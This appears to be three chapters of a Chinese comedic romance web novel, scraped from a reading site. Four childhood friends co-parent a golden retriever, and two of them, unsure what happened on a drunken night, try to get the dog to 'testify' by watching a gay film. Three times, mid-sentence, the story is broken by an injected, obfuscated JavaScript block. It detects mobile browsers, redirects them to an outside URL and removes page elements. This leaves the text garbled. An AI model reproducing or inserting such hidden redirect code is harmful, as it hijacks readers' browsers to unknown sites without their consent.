《我们直男从不搞兄弟》 7. 2.99个直男 这瓜实属越吃越带劲。 前线吃瓜群众在热帖里巨细无遗地描绘着当时的场景——知名学府,顶级跑车,失态的花花公子,毫无留恋的小美人,以及分手必备的经典渣男挽留语录。 ——“你和我分手,那你舍得孩子吗?” 这瓜怎么吃都很狗血很好磕。 就是吧,这两人的发小关系有点不太对。 这一天里,龙鲤湖畔开了无数个衍生贴,势要把这个瓜吃饱吃透。 “不是,哥们,你俩不是发小吗,怎么整的和偶像剧似得。” “你们直男真会玩啊真会玩,发小吵架搞得像要分手似得【笑死】。” “这波元素真齐全啊,连孩子都有了【烟】。” “说实话,霍世昕这张帅脸渣起来可真带劲儿哇。” “姐妹们,告诉我,这真的能磕吗【跃跃欲试】。” “我真的要磕晕了,快来阻止我啊啊啊,我知道霍世昕人很花,但但但这也太、他、么、好、磕了!” “自身磕CP经历告诫各位姐妹,嫂子是磕CP第一大杀手,而霍世昕有一个嫂子团,所以,慎重,慎重,慎重。” “霍公子,白公主,你们两吵架就没想过孩子吗!你两吵架得到瓢儿白允许了吗?” “家鲤们,我有一个问题,瓢儿白是谁?” “对啊,瓢儿白是谁?” 远在狗狗幼儿园上日托班的瓢儿白打了个大大的喷嚏,小小的眼睛里满是大大的疑惑。 傍晚。 谢定仪在微信上收到了瓢儿白上半月在狗狗幼儿园的成绩单和录像,生活老师又把接下来的食谱和课表发给了他,说请家长们给瓢儿白把下半月的课和食谱选好,然后这几天找时间发给她就好。 谢定仪那会儿正在实验室忙,收到生活老师的消息也就回了句好,等他忙完已经七点多了,他去取车的路上才来得及认真看微信。 这家狗狗幼儿园的生活老师很负责,发了二十多个瓢儿白吃饭上课玩耍的视频,还有很多张瓢儿白的单狗美照以及以及和好朋狗一起玩的美照。 放在以前,这些视频和照片基本不会由生活老师发给谢定仪,瓢儿白的主人是霍世昕,但它其实是白晓元捡来的一只小狗,所以名义上,瓢儿白的家长是白晓元和霍世昕两个人。 那会儿白晓元捡到瓢儿白时,它才几个月大,因为狗细小被扔在垃圾桶边,瘦瘦小小就剩一口气了,白晓元把它捡到纸箱子里送去了宠物医院,花了很多钱和心血终于把它救了回来。 毕竟是自己救回来的小狗,相处时间也不短了,白晓元有了感情,不想把它送领养。 然而让他养瓢儿白也没这个条件,他基本住校,虽然是本地生,家却住二十公里外的市区独栋老洋房,一个月也就回去两三次。加上平时家里都是老人在,两位老人家退休后又被返聘回去,六七十了还在拼事业,也没有时间和精力去照料一只青少年期的大金毛。 正在犹豫的时候,霍世昕主动提出来,他来收养瓢儿白。他已经大三了,平时不住校,每天开车从家里来回,本来白晓元觉得还是有些不方便,霍世昕却说,大三课太多了,他早就打算这学期在学校对面租套公寓,养了瓢儿白还能帮忙看个家,他个高力气大遛狗也方便,而且离学校近,白晓元随时都可以来看它。 瓢儿白就这样有了家,有了爸爸妈妈,后来还有了两个舅舅。 它这个瓢儿白的名字就是舅舅凌柏尧取的,起初它的名字其实叫小白菜,因为它是白晓元捡的,加上又瘦又小可怜巴巴的像颗小白菜。白晓元却死活不同意,他说小白菜这不是说他是菜狗吗,不行不行绝对不行。 几番拉扯下,凌柏尧拍板给取了瓢儿白,白晓元还给瓢儿白建了一个微信号,拉入了他们四个人的群里,把群名改成了瓢儿白的家长会。 按照年纪来说,凌柏尧是瓢儿白当之无愧的大伯,但他非说大伯这个称呼一股子老登味,就把自己的群名称改成了瓢儿白舅舅。 “初夏要不要也改一下?二舅不比二伯好听多了。” 谢定仪却很嫌弃:“二舅也很难听好吗?” 又是一番拉扯,最后白晓元建议,谢定仪和凌柏尧都当瓢儿白舅舅。 总之,舅舅好哇舅舅妙,网络上的姑表亲里,舅舅就是热度最大的亲戚,哪个玩游戏的没几个游戏大厂的舅舅。 两人都同意了。 凭心而论,谢定仪和凌柏尧这两舅舅对大侄子没的说,逢年过节都有大红包,瓢儿白上的日托班价格昂贵,两位舅舅也出了不少钱,报名时还是谢定仪开车载瓢儿白和白晓元去的,家长联系表上,其他联系人微信和电话也写的是谢定仪的联系方式。 所以生活老师能找上谢定仪一点也不奇怪,但怪就怪在,白晓元和霍世昕都是很负责的家长,平常压根不需要他去操心瓢儿白吃饭上学遛弯,最多就在群里一起给瓢儿白选下课。 谢定仪还特意去群里看了一眼,从昨天中午开始,群就很安静,没有一个人说话。 ——这还真的有点奇怪。 他先去找瓢儿白的生活老师问了下是什么情况。 【谢:请问你发给我的课表和食谱,有发给瓢儿白的爸爸吗?】 生活老师很快就回了。 【日托1班生活老师-王老师:没有呢,瓢儿白的家长一直不回信息,所以才打扰您嘞。】 【谢:两个都没回?】 【日托1班生活老师-王老师:[确定]两个都没回。】 【谢:好的,我只知道了。】 他先去群里转发了生活老师的消息,说瓢儿白的日托班发新食谱和新课程了,然后又去私聊了霍世昕和白晓元。 直到谢定仪到了家,霍世昕和白晓元都没有回他的消息,倒是凌柏尧一个人在群里发了好几条消息,瓢儿白他舅应该是把生活老师发的视频都看完了,对孩子上半月在日托班的成绩很满意,然后说要一起商量下,下半月给孩子加点智力开发的进阶课程。 凌柏尧发消息是在一个小时前了,可能他也发现了群里并没有人理他,先at了白晓元和霍世昕,然后又at了谢定仪。 “你们人呢?” 谢定仪很快回了。 “好像都不在,不知道是不是晚上有事。” “不可能,小白我不知道,老霍晚上有事,他肯定会叫我去遛狗。”凌柏尧否认了这个说法,说,“我打电话问问。” 他刚一说完,霍世昕就在群里出现了。 “我在。” 凌柏尧说:“嚯,还真在啊,我还以为你又和哪个弟妹去约会忘了咱哥几个了。” 霍世昕的语气略有些不耐烦:“我说过很多次了,根本没有什么所谓的弟妹好吗?” 凌柏尧问:“那昨天上午在你卧室里的是谁?” 谢定仪:“?” 霍世昕明显不想谈这件事,跳过这个话题,说:“我今天上午让柜姐给你送的十瓶帕尔马香薰应该收到了?收到了记得送出去,别再给女孩子送风油精了,人看到你送风油精都要跑了。” 谢定仪:“??” 这两人就当着他的面你来我往的打哑谜,谢定仪有点生气了:“你们两人这是在干什么?偷摸交女朋友不给我和小白说??还想瞒着?” 凌柏尧连忙解释:“初夏你别听老霍胡说,我交了女朋友还能不给你说?” 霍世昕:“我没恋爱,单身。” 凌柏尧没想到霍世昕还真不认昨天的事了,说:“老霍你这不地道啊,都没恋爱,你就把人哄到你公寓里去了。” 霍世昕无奈:“老大你怎么就这么固执,我都解释了很多次了,没什么弟妹,你自己的感情都一团糟,别老管我的事。” 谢定仪:“???谁感情一团糟了?世昕你卧室里又是谁??不是,你们到底在干什么啊??” 话题兜兜转转,又回到了昨天霍世昕卧室里的神秘客人。 只是三个人各怀心思,一个觉得自己兄弟实在有点太渣了,非要和对方理论个一二,一个不愿意提卧室有人过夜的事情,一直诡辩换话题,还有一个被谜语人们气到头痛,让他俩给个解释,结果这两塑料发小一起打掩护糊弄他。 眼看着三人快要吵起来了,白晓元默默出现。 “大晚上的吵什么架。” 三人一起看向他。 白晓元:“别管那些有的没的,我们四个把日子过好比什么都强。” 谢定仪:“……” 白晓元这话话糙理不糙,四个人从小穿一条苦茶子长大,这么多年来,经历过家庭变故,转学,搬家,时间空间都在变,但友情一直没有变,他们也是彼此最信任和最割舍不下的人。 只是年纪渐长,不会像小时候一样有什么事都分享给好朋友了,每个人也有了自己的秘密,有了难以言说的情绪。 凌柏尧说:“今晚看你们都挺累了,要不这样,今天先休息,明天我们再来商量一下瓢儿白的课,我刚看了一下,课程安排都挺不错的,它学的也挺好。” 其余三人都说好,然后互发了几个表情包后下线了。 群里又安静了下来。 霍世昕把手机放在桌边,向后仰靠着椅背,闭上眼,在漆黑的夜里发出一声长叹。 电脑屏幕和手机屏幕依然亮着,校辩论队腾讯会议刚刚结束,辩论队的带队老师发来恭喜他蝉联最佳辩手的好消息。学生会工作群不断闪烁着,关于校开放日活动的方案争议不断,都在等着他出来主持大局。 导师刚刚在邮件里回复了他学年论文的开题,特别称赞了他论文框架和行文逻辑,顺便问了一下他将来的打算,是继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438342|185000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读法学还是转商科,出国还是国内继续深造,导师很看好霍世昕的专业水平,觉得他是好苗子,不过还是要看他个人和家庭的意向选择。 事情很多,每件事看起来都很重要,都要占据霍世昕繁忙学业外的时间,但这对他而言是再轻松不过的事情。他是天生的高精力人群,处理这些事都是得心应手,而在A大学生心里,似乎任何事情都无法难倒霍世昕,除了今天在农学楼外失态失言,让所有人都大跌眼镜。 电脑桌面上还有个小窗口,是他打开A大官网时无意间点开的龙鲤湖畔的论坛,论坛首页热帖上全是关于他和白晓元的八卦贴,还有好几个贴对霍世昕的失态行为表示不解。 “不应该啊不应该,我和霍世昕打过交道,别看他平时一副玩世不恭的样子,其实他控场能力超牛逼,情绪也巨稳定,怎么今天就崩了呢?” “确实,他可是恋爱高手啊,那么多前女友都哄得好好的,没一个出来说他坏话,怎么发小反而搞不定了。” “也不怪龙鲤湖的大鲤子鱼们磕晕了,这是真的怪好磕啊,情场浪子在真正心仪的人面前失去所有手段,太好磕了。” “估计昨晚没睡好或是有其他事情影响了,要不按照他的情商和恋爱经验,我不信他哄不好白晓元。” “是啊,哄发小和哄女朋友认真来说也没差,霍学长这波属于老马失蹄。” …… 霍世昕扫完这些标题,除了苦笑还是苦笑。 ——有没有一种可能,他其实根本没有谈过恋爱? 第二天白天,群里依旧是一片安静。 白晓元明显用了躲字诀,他自己都没想好要怎么办,也不知道那晚到底发生了什么,所以打算把这些事放置处理,在他想好之前,先不回霍世昕的信息。 然而到了晚上,他却不得不在群里面对霍世昕了,今晚说好了要给瓢儿白一起选课选食谱,他再想避开霍世昕,也不得不考虑他俩的毛小孩。 和平狗瓢儿白挤在霍世昕身边,兴奋地摇着尾巴看着ipad上的食谱,四位家长一致认为瓢儿白体重增长太快,把它每天一顿的小零食变成隔一天一顿,还添加备注,让老师作为奖励零食发放。 “呜呜——”瓢儿白看到霍世昕一个个划去小程序上的小零食,顿时急了,叼着霍世昕的衣角让他停停手。 它只是一只爱好小零食的小狗罢了!为什么要克扣他的零食! 霍世昕却不为所动,继续在ipad上删删减减。 瓢儿白在沙发上急得团团转,眼看无力回天,气得跑到宠物按钮上,爪子chuachua两下,痛诉家长们的无情。 “爸爸,坏!” “舅舅,坏!” 凌柏尧说:“哟,瓢儿白这不得了,都会骂人了,半年前教它握手它连左右爪都分不清,这学费没白花。” 霍世昕说:“它在日托班里认识了只边牧,学会了很多按键。” “跟着好朋狗学聪明了。”凌柏尧表示肯定,“难怪家长们都要花大价钱买学区房给孩子上好小学,好小学里都是聪明小孩,自家孩子也学得快。” 霍世昕说:“是学得挺快的,我前几天教它学冷水,温水,它一下就学会了。” 还没到过年,聪明小狗瓢儿白就被迫在舅舅面前进行冷温水按键才艺表演,含泪收获0包小零食,还被舅舅建议要让它再卷一卷,学点进阶课程吊打它在日托班的边牧好朋狗,走上龙傲狗的逆袭路。 谢定仪看不下去了:“你们两个别鸡娃行不行?学那么多有什么用,它能考大学?” 凌柏尧想了会儿:“或许可以考个编?” 白晓元也看不下去了:“凌哥你的山东祖籍真的没骗人,但编制犬都是系统培养,根本不是考的。” 四人一边给瓢儿白选课一边聊天,白晓元不时转发一些日托班老师的专业意见,其实他也是在把瓢儿白送到日托班后才知道,原来金毛这么聪明,可以学很多东西。 “比如你忘了东西放在哪里,怎么想也想不起来,狗狗也可以当你的记忆小帮手,给它看照片或是闻闻类似东西,它可以帮你找到哦。” 白晓元随手在群里转发这条消息,看一眼,然后再看一眼,突然福至心灵。 他又特意切回日托班专业老师的微信,和她聊了一会儿,确定了自己的想法。 ——那天晚上他和霍世昕都喝醉了,没记忆,没监控,以至于两人现因为做没做这个源头问题纠缠不清。 但他们有狗啊,那天晚上在卧室里被误关了一夜的瓢儿白! 唯一的知情狗瓢儿白! 白晓元深吸一口气,点开霍世昕的微信,看到头像的瓢儿白两眼直放光。 ——瓢儿白!21世纪的和平狗!垃圾桶边逆袭的龙傲狗!拯救世界拯救崩塌剧情拯救F4友情的卡密撒狗! 8. 2.99个直男 然而怎么主动给霍世昕聊这个问题,实在让白晓元有些难以启齿。 他磨磨蹭蹭又等了一个多星期,每天总要把霍世昕的微信打开看几次,在心里组织一遍言语,然后再默默关上。 两人为数不多的交流是在四人群里——为了不让凌柏尧和谢定仪发现端倪,两人努力在群里维持和过去一样的交谈频率和语气,幸好四个人排列组合方式多,群聊足以掩盖两人之间那细枝末节的关系变化。 一个多星期后,霍世昕主动私聊了白晓元,说自己父亲最近回了A市,给几家老人买了不少补品,问白晓元家的长辈们什么时候在家,说他父亲要去拜访一下。 白晓元说:“周日下午应该都在的,霍伯伯什么时候要去给我说一声,我提前给外公外婆说。” 霍世昕说:“行。” 话题至此好像就要结束了。 屏幕另一边,霍世昕靠着椅背,沉默地看着电脑屏幕上的微信聊天框,屏幕边放着一个古典杯,杯中绿色的苦艾酒在手凿冰块的催发下缓缓变浑浊,冥茫的夜色下,浓烈的酒精味和苦艾酒独特的清苦味弥漫开来,有种醺然的致幻感。 也不知过了多久,霍世昕才摘下平光眼镜,仰头闭上眼,有些疲惫地捏了捏山根。 除了今天寥寥的三条记录外,上一次的消息还是在十天前,他给白晓元发了很多消息,消息里没有提那晚发生的事,不过都是些日常的聊天和瓢儿白的照片,可是白晓元一条都没回。 ——他还是太冲动了。 那晚大多数时间他是清醒的,酒吧里的酒根本醉不倒他,醉酒后一直缠着他闹着要他哄,要他陪的白晓元,才是最烈的酒。 在理智和情感剧烈的交锋后,霍世昕最终还是离开卧室,他开了家里度数最高的一瓶酒,想用酒精麻痹自己的摇摆不定,然而在纯饮后的微醺中,白晓元悄然袭击,两人吻在了一起。 霍世昕从来没有想过要趁人之危。 他知道这是一部极险的棋招,纵使白晓元的心里,他们的友情比什么都重要,但关系一旦破灭,就再也无法挽回了。 霍世昕选择了一个谎言,一个试探,现在看来,试探是失败了,白晓元一直躲着他,他也不知道该如何向白晓元解释,其实那天晚上的事他都记得。 “叮——” 消息又来了。 霍世昕缓了片刻,拿过平光眼镜戴上,看向屏幕。 消息不是来自家里的管家,也不是院系群,而是来自白晓元。 【小白:昕哥,我想到一个办法,可以知道那天晚上我们有没有……嗯,做。】 霍世昕眉心一拧,以为自己看错了。 【小白:那天没监控你和我都不记得了,但瓢儿白被关了一夜,它肯定都看到了。我听凌哥说最近他遛瓢儿白时有训练瓢儿白看电视选动画,也许瓢儿白可以告诉我们答案。】 【小白:明天下午我来找你,不过时间我不太确定,我会提前给你打电话的。】 霍世昕:“……” 算了,随他吧,他愿意见自己就好。 第二天下午,霍世昕专门给瓢儿白在日托班请了假,结果白晓元那边却被耽误了,四点多钟才来霍世昕的公寓。 很多天没见白晓元的瓢儿白很是兴奋,绕着他不停摇着尾巴打转,霍世昕去给白晓元拿饮料,顺便问了一句:“你打算怎么问瓢儿白。” “看电视啊,凌哥说,瓢儿白现在都会选动画了。给他它重复的,他会按按键,说它看过这集了,要换一集。” 霍世昕:“……” 他低头看了一眼瓢儿白,老抽色小鸡毛偷偷摸摸看了他一眼,然后迅速把脸撇过去,冲着白晓元摇尾巴。 姑且……信它一次? 霍世昕问白晓元:“然后呢?” 白晓元把包到桌上,说:“我们选一部男男电影,给瓢儿白看,问它看过类似的没有,它以前的环境应该没接触过这些吧?” 霍世昕:“……G一V?” “怎么可能!”白晓元瞪大眼看着他,“我说男男电影,没说男男小电影!是男男电影!可以上院线的,有艺术性的,恋爱,接吻,床……床上运动都是有美感的!” 霍世昕:“……” 这对小鸡毛来说,是不是有些复杂了。 然而此刻,在白晓元心里,瓢儿白就是唯一可以拯救崩塌剧情的卡密撒狗,死马也要当活马医了,但他作为一个直男,实在不知道什么男男电影有接吻有床戏还又有艺术性又有美感。 这时候,就只有依靠他万能的发小了。 “昕哥,你看过男男电影吗?” 霍世昕:“……” 这问题从白晓元嘴里问出来,几乎约等于问霍世昕你是不是基佬。这要回答看过,过几天等白晓元反应过来了,不又得质疑他的取向了,毕竟哪个直男没事儿去看男男电影。但要回答没看过,谎言+1,万一以后翻旧账,那是罪加一等。 但这是霍世昕,他有的是办法,甚至因为白晓元今天的主动破冰,又萌生了继续试探的想法。 “你等等,我去打个电话。” 霍世昕拿过手机,给室友王想打了电话。 王想那会儿正在龙鲤湖畔悠闲划水,一看是霍世昕的电话,立马就接了。 “老霍啊。” “嗯,我找你有事。” “巧了,我正准备给你打电话。”王想说,“大鲤子鱼们都在at我,让我对你和你发小两人的感情拉扯进行一下分析,你说这咋写啊。” “咳。”霍世昕马上咳了一声,他用余光一扫身边,白晓元双手紧握胸前,漂亮的眼睛亮晶晶且充满期待地看着他,他装作没听到,说,“你找胡二借部电影,之前是不是有部很有名的叫什么呼唤我的名字,就那部,你问他有没有,有的话拿了后叫个跑腿送我公寓来,我付钱。” “哦,行。” 王想把穿上拖鞋,趿拉上拖鞋,走到斜对面座位,敲了敲正在打游戏的胡二:“老胡,老霍问你有没有《请以你的名字呼唤我》。” “有,你等等。”电影大师胡二迅速打完这盘游戏,然后放下耳机,走到柜子前打开自己宝贵的藏宝匣,翻出一套蓝光碟,拿给王想时忽然琢磨出有点不对劲,“这老霍有点怪,他之前不是找我借过这部吗,怎么问我有没有?他那脑子会不记得我有?” 到底是知名法学系学生,王想和胡二一对视,两人眨了眨眼睛,确定,点头。 “不是一个人看。” “我看老霍也需要治疗了。”王想去捡了个不用的废纸箱开始打包,打完后扔进纸袋封好,然后拍拍手站起来,“和你发小一块儿喝中药去吧。” 一个小时后,这盘蓝光碟被送到了霍世昕的公寓,正好霍世昕和白晓元一起吃完了晚饭,一人一杯可乐摆在桌上,然后领着瓢儿白一起观赏这部同性大片。 对人类来说,看电影是消遣是休息,但对小鸡毛瓢儿白来说,那可不是消遣,是艰巨的任务。 电影开始播放。 这是白晓元第一次看同性电影,倒也没觉得哪里不适应,只是在有些暧昧的片段时觉得皮肤轻微有点发烫发麻,坐在沙发上总是不自觉地想动,他悄悄偷瞄身边的霍世昕,却发现他一直认真的看着电影,似乎没有在意身边是自己。 ——哼,我也要这样。 白晓元那点小脾气又上来了,他可不愿意在男人这个问题上落下风,立马坐直身体,宛如军训一样把手搭在膝盖上,直挺挺地盯着屏幕看。 旁边的霍世昕用余光扫了他一眼,嘴角只轻轻弯了一下,没有出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438343|185000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 电影播放到草坪接吻那一幕,明明只是男主用手指轻轻拂过另一个男主的嘴唇,白晓元却变得浑身都滚烫起来,他清楚的看到那个被摸嘴唇的男主探出舌尖,舔了一下对方的食指。 白晓元的心脏砰砰跳动起来,不由自主的向霍世昕方向看过去。 忽然,霍世昕也转过头来看他,两人的眼神仅纠缠地交汇了瞬间,下一秒,电视上的两位男主已经接起了吻,白晓元这才想起来不对,他不应该看霍世昕,他得看瓢儿白啊! 他连忙把脸转过去,还拉上了身边的霍世昕,指着电视上接吻的两位男主,急切地问身边的瓢儿白。 “瓢儿白,这个你看过吗?”他又指了指自己和霍世昕,“看过我和爸爸这样吗?” 瓢儿白看了看电视,又看了看霍世昕和白晓元,聪明脑瓜子一转,爪子啪嗒一声摁在了面前的宠物按钮上。 “卧槽!恶俗啊!” 霍世昕:“?” 白晓元:“???” ——不是,这哪里恶俗了???男人和男人接吻到底哪里恶俗了? 白晓元从沙发上跳起来,怒道:“谁教你的绿色青蛙大叫五个字啊!” 瓢儿白眼珠子一转,咧开嘴摇了摇尾巴,把一边的白晓元气得上蹿下跳。 身边的霍世昕:“……” 一个星期前。 每天下午,凌柏尧来遛狗时都要给瓢儿白上节男德课,包括且不限于一夫一妻婚姻制度的优越性,宁愿单身绝不乱搞,别学你爸云云。 后来发现男德这玩意儿并不会通过狗传染给人类,于是开始培养瓢儿白当男德小警察监督霍世昕。 他的培养方式就是给瓢儿白看男女激情吻戏,然后买了新的宠物语音按钮,让瓢儿白在看到霍世昕乱搞时疯狂进行言语攻击。 “记住舅舅的话,不管看到你爸和你妈妈小妈姨妈姨奶接吻,都要按这个按钮,知道了吗?” 这活瓢儿白属实不爱接,奈何舅舅投喂的零食太多了,只有含泪接下了。 但这一周它都没见到什么所谓的妈妈小妈姨妈姨奶,直到今天,又看到两个人类吃上嘴子。 管它呢,小鸡毛可分不清男女男男中国人外国人,恶俗!就是恶俗! 瓢儿白爪子在按钮上啪嗒一阵乱按,然后期待地摇着尾巴看着白晓元。 白晓元终于冷静下来了,他思考了片刻,问身边地霍世昕:“难道,瓢儿白也是直男?它看不了男男电影?” 还没等身边的霍世昕说话,瓢儿白一爪子就按在了按钮上。 “是的。” 白晓元和霍世昕都震惊了。 他们家小鸡毛真成精了? 就在下一秒,眼看着没动静的瓢儿白又是一爪子摁在了按钮上。 “爸爸,零食!” 白晓元&霍世昕:“……” 老抽色的小鸡毛心眼子就是多。 只是为了零食愿意当直男罢了。 白晓元爬下沙发,去给瓢儿白拿了零食,一边喂一边问:“瓢儿白在日托班认识的那只边牧,是公的还是母的。” “没问。”霍世昕趁着电影暂停的时候拿过手机回消息,“下次我问问。” “行。”白晓元又看了一眼屏幕,犹豫了会儿,问,“电影还看吗?” 看起来让瓢儿白帮忙回忆那晚的事肯定是行不通了,但这电影看的不上不下,还怪挂念的。 霍世昕放下手机,抬头看向白晓元,眼里看不出是什么情绪;“看吧。” “行,那看吧。” 两人继续坐回沙发,打开了播放键,和两位男主一起沉浸在那个夏天里。 就在两人认真看着电影时,门锁突然动了一下,凌柏尧熟练地打开大门的密码锁,拉开了门。 9. 2.96个直男 凌柏尧是来遛狗的。 这周霍世昕很忙,所以上周末的时候,霍世昕就给凌柏尧说了,让他这周每天晚饭后都过来帮忙遛一下瓢儿白。 ——问题就出在两人对“这周”两个字的理解。 霍世昕认为的这周是实打实的七天,凌柏尧理解的这周,那是从上周六到这周日,少一天都是他对好兄弟的不重视。 所以霍世昕压根没想到凌柏尧今天还回来,凌柏尧也没想到,霍世昕今天傍晚会在家。 客厅的70寸大屏上,两个男主亲得如胶似漆,回音壁绝佳的音效让白晓元和霍世昕根本没有发现门口有人,倒是凌柏尧发现霍世昕竟然在家,他在玄关口换上拖鞋,又撸了一把热情欢迎他的瓢儿白,一边向客厅走去一边问道。 “看啥好东西呢?” 霍世昕和白晓元被这突如其来的声音吓了一大跳,两人一对视,明显都有点慌了,随即霍世昕反应过来,立马去拿桌上的遥控器。 然而已经迟了。 凌柏尧已经走到电视斜前方,他也瞄见了电视上激烈的场景,刚说了一句“亲得可真火热”,突然发现有点不对劲,再仔细看了一眼电视,声音蓦地一沉。 “两个男的?” 白晓元被吓得大气都不敢出,下意识抓住藏着同性恋治疗群和小簧片的手机,缩着腿向身后霍世昕的方向靠去。 霍世昕从身后托住他的背,把他护在了怀里。 气氛顿时紧张起来。 两个男主还在亲,凌柏尧的目光在眼前两个姿势亲密的发小身上逡巡一圈,然后又看了一眼电视上两个热吻的男主,然后再看一眼发小们,又再看一眼电视。 白晓元就怕被凌柏尧看出点问题,咽了咽口水,壮着胆,对凌柏尧结结巴巴地问;“凌哥,你、你要一起看吗?” 霍世昕:“……” 凌柏尧也没想到白晓元会问这个问题,三人大眼瞪小眼,互相看了好一会儿。 这时,凌柏尧才开了口。 “我如果不看,是不是会显得有点不合群?” 白晓元和霍世昕对视一眼,然后一起看着凌柏尧拼命摇头。 屏幕里的两男主又亲上了。 这一次,两人亲的声音极大,嘴唇摩擦和舌一吻声尤其明显,凌柏尧又朝电视上看了一眼,显然,他也没弄清这是什么情况,手抬起来,在电视和霍白二人之间来回指了两转,然后放下,又略有点尴尬地抬起来,客套地说:“要不,你们俩继续?我不打扰你们了?” 白晓元回头又和霍世昕对望一眼,然后回过头对着凌柏尧继续摇头。 都被凌哥发现了,怎么能让他和霍世昕两人继续看呢?这不是要穿帮了吗? 气氛又僵持住了。 凌柏尧也不知道该怎么办,只有在心里发着牢骚——这两发小今天是怎么回事,这也不行,那也不行,这是要闹哪样。 整间客厅里唯一还敢闹出动静的只有分不清男女男男的瓢儿白,它本想着舅舅来了,它就可以拥有三倍的小零食了,没想到收获的只有三倍直男的尴尬。 它跳到沙发上,用脑袋去拱白晓元,然后又跳下去,贴着凌柏尧的腿谄媚地打转,结果不小心后爪踩到宠物按钮上,一声浑厚有力的男声炸裂蹦出来。 “雾草,恶俗啊!” 白晓元顿时惊醒了。 ——对啊,这怎么能恶俗呢,他和霍世昕看的不是能上院线的,艺术的,接吻和xx都十分富有美感的男男电影吗? 是艺术,那就一定要给好兄弟分享。 他连忙站起来,拽住凌柏尧的胳膊往沙发上拖。 “凌哥快来和我们一起看电影,这电影可有名了,是吧?”他偏过脸,对着霍世昕拼命使眼色,霍世昕伸了个懒腰,双手向后交叉枕住后颈,悠闲地把长腿架在了茶几上。 “是很有名,还拿了美国编剧工会和奥斯卡的最佳剧本。” 气氛终于缓和了。 “就说嘛。”凌柏尧顺水推舟,往霍世昕和白晓元中间一坐。 “老霍,说真的,与其天天在外面搞对象,不如多看点电影陶冶一下艺术情操。”凌柏尧说完,还特意又看了看电视屏幕,强调,“男男电影也行啊。” 担心穿帮的白晓元连忙给凌柏尧捧哏:“就是就是,电影是光影的艺术,题材不重要,镜头语言和表现手法才是核心。” 凌柏尧说:“这就不得不提《霸王别姬》了,看起来是同性题材,表达的却不仅仅是男男之爱,第一回看是和我姥姥一起看,从小到大,看了没十次也有七八次了。” 白晓元星星眼:“哇,那凌哥你好厉害哦。” 一边的霍世昕:“……” 他用余光瞥了瞥身边故作轻松实则坐如针毡的凌柏尧,心想,行你个头,你个死直男看一眼男男电影都要人工呼吸了,还嘴硬,早点走才是正经事,我他一妈还有正事要办。 三人都在被强迫还要故作轻松。 一个铁直男被迫观摩男男电影还要强撑自我洗脑“我能看我喜欢这是艺术”,一个心惊肉跳就担心穿帮拼命给直男发小捧哏,还有个看起来优哉游哉实则已经在心里已经把直男老大痛殴八百遍了。 看男男电影的凌柏尧尤其话唠,好像要把这辈子的话说完,明明不到两个小时的电影,却把自己这辈子的观影储备都掏出来了,一有两男主暧昧镜头就开始聊艺术聊电影,势必要用三人坚而不摧一起观看男男电影的二十一年友情打败拿了奥斯卡的男男情。 凌柏尧就这样聊艺术聊电影,实在没话聊了,他还聊哲学,奈何it男对哲学一窍不通,想了半天才说出一句类似于“庄周梦蝶”的话。 “你们说,我们三个人坐这里看电影,屏幕里的那两个主角,会不会也在看我们三个。”凌柏尧问,“有什么三个人的电影吗?” 这突如其来的哲学有点把农学生白晓元问懵了,他想了会儿,小心翼翼着说:“《燃冬》?” 凌柏尧问:“什么燃冬?” 白晓元说;“就是那个‘我们三个把日子过好比什么都强的’的燃冬。” “四个人。”凌柏尧纠正道,“还有初夏。” 说初夏,初夏还真到了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438344|185000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌柏尧的手机响了,是谢定仪的电话。 屏幕里又开始演男男激一情戏了。 这通电话属于天不时,地不利,人不和,宛如水滴进了油锅,把整间客厅都炸了。 三人谁都不想被谢定仪发现自己在背着他看男男电影,齐齐出动,霍世昕去拿遥控器按暂停,白晓元则扑倒沙发上,摁住绿色青蛙附体狂按五个字的瓢儿白,凌柏尧则呼气,吐气好几次,压住了狂蹦的心脏,才去接通了电话。 “初夏?” “在干嘛呢?”谢定仪听起来心情很不错。 “在——”凌柏尧心虚了。 他看向电视,屏幕正定格在男男激一情戏前戏,这可万万不能说,再一看霍世昕和白晓元,都忙着按瓢儿白让它别乱按按钮,也没空给他场外支援。 就在这时,凌柏尧突然想起刚刚白晓元提到的电影。 ——没有什么比燃冬更好形容他和霍世昕白晓元此刻的状态了。 这不就是他们三个人的电影? 凌柏尧肯定地在电话里对谢定仪说:“在和小白老霍搞燃冬。” 白晓元:“???” 霍世昕:“????” 不是我们没有,老大你别瞎说啊! “那你们很有激情了。”谢定仪被逗笑了,问出了一句和知名直男陈思诚在拍完不知名同性大尺一度艺术片《春风沉醉的夜晚》后被同样问到的问题,“你们谁演男的谁演女的?” 